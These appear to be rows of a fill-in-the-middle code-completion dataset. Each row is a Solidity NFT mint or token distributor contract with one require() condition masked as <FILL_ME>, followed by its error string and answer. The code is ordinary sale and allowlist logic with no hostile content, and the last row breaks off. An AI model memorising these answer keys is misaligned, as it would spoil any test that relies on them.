contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
}
function ensureMintConditions(uint256 count) internal view {
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
ensureMintConditions(count);
require(<FILL_ME>)
uint256 totalMintFromAddress = _purchases[to] + count;
require ((maxPerAddress == 0) || (totalMintFromAddress <= maxPerAddress), "BASE_COLLECTION/EXCEEDS_INDIVIDUAL_SUPPLY");
}
}
| (_maxTxPerAddress==0)||(count<=_maxTxPerAddress),"BASE_COLLECTION/EXCEEDS_MAX_PER_TRANSACTION" | 178,426 | (_maxTxPerAddress==0)||(count<=_maxTxPerAddress) |
"BASE_COLLECTION/EXCEEDS_INDIVIDUAL_SUPPLY" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
}
function ensureMintConditions(uint256 count) internal view {
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
ensureMintConditions(count);
require((_maxTxPerAddress == 0) || (count <= _maxTxPerAddress), "BASE_COLLECTION/EXCEEDS_MAX_PER_TRANSACTION");
uint256 totalMintFromAddress = _purchases[to] + count;
require(<FILL_ME>)
}
}
| (maxPerAddress==0)||(totalMintFromAddress<=maxPerAddress),"BASE_COLLECTION/EXCEEDS_INDIVIDUAL_SUPPLY" | 178,426 | (maxPerAddress==0)||(totalMintFromAddress<=maxPerAddress) |
"Mint would exceed max supply" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title A partial interface taken from the IDelegationRegistry by delegate.cash (CC0-1.0 Creative Commons license).
*/
interface IDelegationRegistry {
function checkDelegateForContract(address delegate, address vault, address contract_) external returns (bool);
}
contract Danks is ERC721AQueryable, ERC2981, DefaultOperatorFilterer, Ownable {
// Address constants.
address private constant _DANKS_TEAM_ADDRESS = 0x0Fc518De2FFc1305BDd5d8beee0137EB924e69A2;
address private constant _DANKS_DEPLOYER_ADDRESS = 0x118c5485b6b76cbc20e722C381B4F671f4c2e1ea;
address private constant _WL_SNAPSHOT_CONTRACT_ADDRESS = 0xf7D134224A66C6A4DDeb7dEe714A280b99044805;
address private constant _DELEGATION_REGISTRY_ADDRESS = 0x00000000000076A84feF008CDAbe6409d2FE638B;
// Minting constants.
uint256 public constant MAX_SUPPLY = 16999;
uint256 public constant MAX_PUBLIC_MINT_AMOUNT = 25;
// Core variables.
string public baseUri;
uint256 public price;
bool public isMintEventActive;
uint256 public mintEventStartTime;
string public provenance;
bytes32 public wlMerkleRoot;
mapping(address => bool) public wlUsed;
// Events.
event PublicMint(address indexed owner, uint256 amount);
event WlMint(address indexed owner, address indexed vault, uint256 amount);
// Constructor.
constructor(
string memory _baseUri,
bytes32 _wlMerkleRoot,
uint256 _mintEventStartTime
) ERC721A("DANKS", "$DANKS") {
}
// OVERRIDES
// Start token ID.
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
// Base URI.
function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
}
// OpenSea royalties.
function setApprovalForAll(address operator, bool approved) public override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A, ERC721A, ERC2981) returns (bool){
}
// PUBLIC FUNCTIONS.
/**
* @notice Public mint.
* @param mintAmount the number of tokens to claim
*/
function publicMint(uint256 mintAmount) public payable {
require(msg.sender == tx.origin, "Contract minting is not allowed");
require(isMintEventActive, "Mint event is not active");
require(block.timestamp >= mintEventStartTime, "Mint event has not started yet");
require(mintAmount <= MAX_PUBLIC_MINT_AMOUNT, "Mint would exceed max amount per mint");
require(<FILL_ME>)
require(msg.value >= (mintAmount * price), "ETH value sent is not correct");
_safeMint(msg.sender, mintAmount, "");
emit PublicMint(msg.sender, mintAmount);
}
/**
* @notice WL mint.
* @param vault if using delegate.cash (for contract or entire vault) - the address that held the tokens in the snapshot,
if not using delegation - 0x000..000 or msg.sender.
* @param mintAmount the number of tokens to claim
* @param merkleProof the Merkle proof for this claimer
*/
function wlMint(address vault, uint mintAmount, bytes32[] calldata merkleProof) public payable {
}
// OWNER FUNCTIONS.
// Withdraw.
function withdraw() public onlyOwner {
}
// Set price.
function setPrice(uint256 _price) public onlyOwner {
}
// Set base URI.
function setBaseUri(string memory _uri) public onlyOwner {
}
// Set mint event status.
function setMintEventActive(bool _isActive) public onlyOwner {
}
// Sent mint event start time.
function setMintEventStartTime(uint256 _time) public onlyOwner {
}
// Set WL merkle tree root.
function setWlMerkleRoot(bytes32 _wlMerkleRoot) public onlyOwner {
}
// Set provenance.
function setProvenance(string memory _provenance) public onlyOwner {
}
// Set royalties info.
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
}
| (_totalMinted()+mintAmount)<=MAX_SUPPLY,"Mint would exceed max supply" | 178,579 | (_totalMinted()+mintAmount)<=MAX_SUPPLY |
"ETH value sent is not correct" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title A partial interface taken from the IDelegationRegistry by delegate.cash (CC0-1.0 Creative Commons license).
*/
interface IDelegationRegistry {
function checkDelegateForContract(address delegate, address vault, address contract_) external returns (bool);
}
contract Danks is ERC721AQueryable, ERC2981, DefaultOperatorFilterer, Ownable {
// Address constants.
address private constant _DANKS_TEAM_ADDRESS = 0x0Fc518De2FFc1305BDd5d8beee0137EB924e69A2;
address private constant _DANKS_DEPLOYER_ADDRESS = 0x118c5485b6b76cbc20e722C381B4F671f4c2e1ea;
address private constant _WL_SNAPSHOT_CONTRACT_ADDRESS = 0xf7D134224A66C6A4DDeb7dEe714A280b99044805;
address private constant _DELEGATION_REGISTRY_ADDRESS = 0x00000000000076A84feF008CDAbe6409d2FE638B;
// Minting constants.
uint256 public constant MAX_SUPPLY = 16999;
uint256 public constant MAX_PUBLIC_MINT_AMOUNT = 25;
// Core variables.
string public baseUri;
uint256 public price;
bool public isMintEventActive;
uint256 public mintEventStartTime;
string public provenance;
bytes32 public wlMerkleRoot;
mapping(address => bool) public wlUsed;
// Events.
event PublicMint(address indexed owner, uint256 amount);
event WlMint(address indexed owner, address indexed vault, uint256 amount);
// Constructor.
constructor(
string memory _baseUri,
bytes32 _wlMerkleRoot,
uint256 _mintEventStartTime
) ERC721A("DANKS", "$DANKS") {
}
// OVERRIDES
// Start token ID.
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
// Base URI.
function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
}
// OpenSea royalties.
function setApprovalForAll(address operator, bool approved) public override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A, ERC721A, ERC2981) returns (bool){
}
// PUBLIC FUNCTIONS.
/**
* @notice Public mint.
* @param mintAmount the number of tokens to claim
*/
function publicMint(uint256 mintAmount) public payable {
require(msg.sender == tx.origin, "Contract minting is not allowed");
require(isMintEventActive, "Mint event is not active");
require(block.timestamp >= mintEventStartTime, "Mint event has not started yet");
require(mintAmount <= MAX_PUBLIC_MINT_AMOUNT, "Mint would exceed max amount per mint");
require((_totalMinted() + mintAmount) <= MAX_SUPPLY, "Mint would exceed max supply");
require(<FILL_ME>)
_safeMint(msg.sender, mintAmount, "");
emit PublicMint(msg.sender, mintAmount);
}
/**
* @notice WL mint.
* @param vault if using delegate.cash (for contract or entire vault) - the address that held the tokens in the snapshot,
if not using delegation - 0x000..000 or msg.sender.
* @param mintAmount the number of tokens to claim
* @param merkleProof the Merkle proof for this claimer
*/
function wlMint(address vault, uint mintAmount, bytes32[] calldata merkleProof) public payable {
}
// OWNER FUNCTIONS.
// Withdraw.
function withdraw() public onlyOwner {
}
// Set price.
function setPrice(uint256 _price) public onlyOwner {
}
// Set base URI.
function setBaseUri(string memory _uri) public onlyOwner {
}
// Set mint event status.
function setMintEventActive(bool _isActive) public onlyOwner {
}
// Sent mint event start time.
function setMintEventStartTime(uint256 _time) public onlyOwner {
}
// Set WL merkle tree root.
function setWlMerkleRoot(bytes32 _wlMerkleRoot) public onlyOwner {
}
// Set provenance.
function setProvenance(string memory _provenance) public onlyOwner {
}
// Set royalties info.
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
}
| msg.value>=(mintAmount*price),"ETH value sent is not correct" | 178,579 | msg.value>=(mintAmount*price) |
"Claimer is not allowed to act on behalf of the vault" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title A partial interface taken from the IDelegationRegistry by delegate.cash (CC0-1.0 Creative Commons license).
*/
interface IDelegationRegistry {
function checkDelegateForContract(address delegate, address vault, address contract_) external returns (bool);
}
contract Danks is ERC721AQueryable, ERC2981, DefaultOperatorFilterer, Ownable {
// Address constants.
address private constant _DANKS_TEAM_ADDRESS = 0x0Fc518De2FFc1305BDd5d8beee0137EB924e69A2;
address private constant _DANKS_DEPLOYER_ADDRESS = 0x118c5485b6b76cbc20e722C381B4F671f4c2e1ea;
address private constant _WL_SNAPSHOT_CONTRACT_ADDRESS = 0xf7D134224A66C6A4DDeb7dEe714A280b99044805;
address private constant _DELEGATION_REGISTRY_ADDRESS = 0x00000000000076A84feF008CDAbe6409d2FE638B;
// Minting constants.
uint256 public constant MAX_SUPPLY = 16999;
uint256 public constant MAX_PUBLIC_MINT_AMOUNT = 25;
// Core variables.
string public baseUri;
uint256 public price;
bool public isMintEventActive;
uint256 public mintEventStartTime;
string public provenance;
bytes32 public wlMerkleRoot;
mapping(address => bool) public wlUsed;
// Events.
event PublicMint(address indexed owner, uint256 amount);
event WlMint(address indexed owner, address indexed vault, uint256 amount);
// Constructor.
constructor(
string memory _baseUri,
bytes32 _wlMerkleRoot,
uint256 _mintEventStartTime
) ERC721A("DANKS", "$DANKS") {
}
// OVERRIDES
// Start token ID.
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
// Base URI.
function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
}
// OpenSea royalties.
function setApprovalForAll(address operator, bool approved) public override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A, ERC721A, ERC2981) returns (bool){
}
// PUBLIC FUNCTIONS.
/**
* @notice Public mint.
* @param mintAmount the number of tokens to claim
*/
function publicMint(uint256 mintAmount) public payable {
}
/**
* @notice WL mint.
* @param vault if using delegate.cash (for contract or entire vault) - the address that held the tokens in the snapshot,
if not using delegation - 0x000..000 or msg.sender.
* @param mintAmount the number of tokens to claim
* @param merkleProof the Merkle proof for this claimer
*/
function wlMint(address vault, uint mintAmount, bytes32[] calldata merkleProof) public payable {
require(isMintEventActive, "Mint event is not active");
require(block.timestamp >= mintEventStartTime, "Mint event has not started yet");
require((_totalMinted() + mintAmount) <= MAX_SUPPLY, "Mint would exceed max supply");
address claimer = msg.sender;
if (vault != address(0) && vault != msg.sender) {
require(<FILL_ME>)
claimer = vault;
}
bytes32 merkleLeaf = keccak256(abi.encodePacked(claimer, mintAmount));
require(MerkleProof.verify(merkleProof, wlMerkleRoot, merkleLeaf), "Invalid WL merkle proof");
require(!wlUsed[claimer], "WL mint allocation is already used");
wlUsed[claimer] = true;
_safeMint(msg.sender, mintAmount, "");
emit WlMint(msg.sender, vault, mintAmount);
}
// OWNER FUNCTIONS.
// Withdraw.
function withdraw() public onlyOwner {
}
// Set price.
function setPrice(uint256 _price) public onlyOwner {
}
// Set base URI.
function setBaseUri(string memory _uri) public onlyOwner {
}
// Set mint event status.
function setMintEventActive(bool _isActive) public onlyOwner {
}
// Sent mint event start time.
function setMintEventStartTime(uint256 _time) public onlyOwner {
}
// Set WL merkle tree root.
function setWlMerkleRoot(bytes32 _wlMerkleRoot) public onlyOwner {
}
// Set provenance.
function setProvenance(string memory _provenance) public onlyOwner {
}
// Set royalties info.
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
}
| IDelegationRegistry(_DELEGATION_REGISTRY_ADDRESS).checkDelegateForContract(msg.sender,vault,_WL_SNAPSHOT_CONTRACT_ADDRESS),"Claimer is not allowed to act on behalf of the vault" | 178,579 | IDelegationRegistry(_DELEGATION_REGISTRY_ADDRESS).checkDelegateForContract(msg.sender,vault,_WL_SNAPSHOT_CONTRACT_ADDRESS) |
"Invalid WL merkle proof" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title A partial interface taken from the IDelegationRegistry by delegate.cash (CC0-1.0 Creative Commons license).
*/
interface IDelegationRegistry {
function checkDelegateForContract(address delegate, address vault, address contract_) external returns (bool);
}
contract Danks is ERC721AQueryable, ERC2981, DefaultOperatorFilterer, Ownable {
// Address constants.
address private constant _DANKS_TEAM_ADDRESS = 0x0Fc518De2FFc1305BDd5d8beee0137EB924e69A2;
address private constant _DANKS_DEPLOYER_ADDRESS = 0x118c5485b6b76cbc20e722C381B4F671f4c2e1ea;
address private constant _WL_SNAPSHOT_CONTRACT_ADDRESS = 0xf7D134224A66C6A4DDeb7dEe714A280b99044805;
address private constant _DELEGATION_REGISTRY_ADDRESS = 0x00000000000076A84feF008CDAbe6409d2FE638B;
// Minting constants.
uint256 public constant MAX_SUPPLY = 16999;
uint256 public constant MAX_PUBLIC_MINT_AMOUNT = 25;
// Core variables.
string public baseUri;
uint256 public price;
bool public isMintEventActive;
uint256 public mintEventStartTime;
string public provenance;
bytes32 public wlMerkleRoot;
mapping(address => bool) public wlUsed;
// Events.
event PublicMint(address indexed owner, uint256 amount);
event WlMint(address indexed owner, address indexed vault, uint256 amount);
// Constructor.
constructor(
string memory _baseUri,
bytes32 _wlMerkleRoot,
uint256 _mintEventStartTime
) ERC721A("DANKS", "$DANKS") {
}
// OVERRIDES
// Start token ID.
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
// Base URI.
function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
}
// OpenSea royalties.
function setApprovalForAll(address operator, bool approved) public override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A, ERC721A, ERC2981) returns (bool){
}
// PUBLIC FUNCTIONS.
/**
* @notice Public mint.
* @param mintAmount the number of tokens to claim
*/
function publicMint(uint256 mintAmount) public payable {
}
/**
* @notice WL mint.
* @param vault if using delegate.cash (for contract or entire vault) - the address that held the tokens in the snapshot,
if not using delegation - 0x000..000 or msg.sender.
* @param mintAmount the number of tokens to claim
* @param merkleProof the Merkle proof for this claimer
*/
function wlMint(address vault, uint mintAmount, bytes32[] calldata merkleProof) public payable {
require(isMintEventActive, "Mint event is not active");
require(block.timestamp >= mintEventStartTime, "Mint event has not started yet");
require((_totalMinted() + mintAmount) <= MAX_SUPPLY, "Mint would exceed max supply");
address claimer = msg.sender;
if (vault != address(0) && vault != msg.sender) {
require(
IDelegationRegistry(_DELEGATION_REGISTRY_ADDRESS).checkDelegateForContract(msg.sender, vault, _WL_SNAPSHOT_CONTRACT_ADDRESS),
"Claimer is not allowed to act on behalf of the vault"
);
claimer = vault;
}
bytes32 merkleLeaf = keccak256(abi.encodePacked(claimer, mintAmount));
require(<FILL_ME>)
require(!wlUsed[claimer], "WL mint allocation is already used");
wlUsed[claimer] = true;
_safeMint(msg.sender, mintAmount, "");
emit WlMint(msg.sender, vault, mintAmount);
}
// OWNER FUNCTIONS.
// Withdraw.
function withdraw() public onlyOwner {
}
// Set price.
function setPrice(uint256 _price) public onlyOwner {
}
// Set base URI.
function setBaseUri(string memory _uri) public onlyOwner {
}
// Set mint event status.
function setMintEventActive(bool _isActive) public onlyOwner {
}
// Sent mint event start time.
function setMintEventStartTime(uint256 _time) public onlyOwner {
}
// Set WL merkle tree root.
function setWlMerkleRoot(bytes32 _wlMerkleRoot) public onlyOwner {
}
// Set provenance.
function setProvenance(string memory _provenance) public onlyOwner {
}
// Set royalties info.
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
}
| MerkleProof.verify(merkleProof,wlMerkleRoot,merkleLeaf),"Invalid WL merkle proof" | 178,579 | MerkleProof.verify(merkleProof,wlMerkleRoot,merkleLeaf) |
"WL mint allocation is already used" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title A partial interface taken from the IDelegationRegistry by delegate.cash (CC0-1.0 Creative Commons license).
*/
interface IDelegationRegistry {
function checkDelegateForContract(address delegate, address vault, address contract_) external returns (bool);
}
contract Danks is ERC721AQueryable, ERC2981, DefaultOperatorFilterer, Ownable {
// Address constants.
address private constant _DANKS_TEAM_ADDRESS = 0x0Fc518De2FFc1305BDd5d8beee0137EB924e69A2;
address private constant _DANKS_DEPLOYER_ADDRESS = 0x118c5485b6b76cbc20e722C381B4F671f4c2e1ea;
address private constant _WL_SNAPSHOT_CONTRACT_ADDRESS = 0xf7D134224A66C6A4DDeb7dEe714A280b99044805;
address private constant _DELEGATION_REGISTRY_ADDRESS = 0x00000000000076A84feF008CDAbe6409d2FE638B;
// Minting constants.
uint256 public constant MAX_SUPPLY = 16999;
uint256 public constant MAX_PUBLIC_MINT_AMOUNT = 25;
// Core variables.
string public baseUri;
uint256 public price;
bool public isMintEventActive;
uint256 public mintEventStartTime;
string public provenance;
bytes32 public wlMerkleRoot;
mapping(address => bool) public wlUsed;
// Events.
event PublicMint(address indexed owner, uint256 amount);
event WlMint(address indexed owner, address indexed vault, uint256 amount);
// Constructor.
constructor(
string memory _baseUri,
bytes32 _wlMerkleRoot,
uint256 _mintEventStartTime
) ERC721A("DANKS", "$DANKS") {
}
// OVERRIDES
// Start token ID.
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
// Base URI.
function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
}
// OpenSea royalties.
function setApprovalForAll(address operator, bool approved) public override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A, ERC721A, ERC2981) returns (bool){
}
// PUBLIC FUNCTIONS.
/**
* @notice Public mint.
* @param mintAmount the number of tokens to claim
*/
function publicMint(uint256 mintAmount) public payable {
}
/**
* @notice WL mint.
* @param vault if using delegate.cash (for contract or entire vault) - the address that held the tokens in the snapshot,
if not using delegation - 0x000..000 or msg.sender.
* @param mintAmount the number of tokens to claim
* @param merkleProof the Merkle proof for this claimer
*/
function wlMint(address vault, uint mintAmount, bytes32[] calldata merkleProof) public payable {
require(isMintEventActive, "Mint event is not active");
require(block.timestamp >= mintEventStartTime, "Mint event has not started yet");
require((_totalMinted() + mintAmount) <= MAX_SUPPLY, "Mint would exceed max supply");
address claimer = msg.sender;
if (vault != address(0) && vault != msg.sender) {
require(
IDelegationRegistry(_DELEGATION_REGISTRY_ADDRESS).checkDelegateForContract(msg.sender, vault, _WL_SNAPSHOT_CONTRACT_ADDRESS),
"Claimer is not allowed to act on behalf of the vault"
);
claimer = vault;
}
bytes32 merkleLeaf = keccak256(abi.encodePacked(claimer, mintAmount));
require(MerkleProof.verify(merkleProof, wlMerkleRoot, merkleLeaf), "Invalid WL merkle proof");
require(<FILL_ME>)
wlUsed[claimer] = true;
_safeMint(msg.sender, mintAmount, "");
emit WlMint(msg.sender, vault, mintAmount);
}
// OWNER FUNCTIONS.
// Withdraw.
function withdraw() public onlyOwner {
}
// Set price.
function setPrice(uint256 _price) public onlyOwner {
}
// Set base URI.
function setBaseUri(string memory _uri) public onlyOwner {
}
// Set mint event status.
function setMintEventActive(bool _isActive) public onlyOwner {
}
// Sent mint event start time.
function setMintEventStartTime(uint256 _time) public onlyOwner {
}
// Set WL merkle tree root.
function setWlMerkleRoot(bytes32 _wlMerkleRoot) public onlyOwner {
}
// Set provenance.
function setProvenance(string memory _provenance) public onlyOwner {
}
// Set royalties info.
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
}
| !wlUsed[claimer],"WL mint allocation is already used" | 178,579 | !wlUsed[claimer] |
"lobster" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import { BitMaps } from "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import { IAccessControl } from "@openzeppelin/contracts/access/IAccessControl.sol";
import { IERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import { ReentrancyGuard } from "./utils/ReentrancyGuard.sol";
import { SafeToken } from "./utils/SafeToken.sol";
import { IERC20 } from "./interfaces/IERC20.sol";
contract Distributor is ReentrancyGuard
{
using SafeToken for IERC20;
using BitMaps for BitMaps.BitMap;
address private constant _GLOVE = 0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284;
address private constant _LOBS = 0x026224A2940bFE258D0dbE947919B62fE321F042;
uint256 private constant _CAP = 1066e18; // LOBS + 1
uint256 private immutable _DEADLINE;
BitMaps.BitMap private _validated;
bool private _closed;
uint256 private _distributed;
mapping(address => bool) private _lobster;
mapping(address => uint) private _lobsters;
event Claim(address lobster);
event Collect(address lobster);
constructor ()
{
}
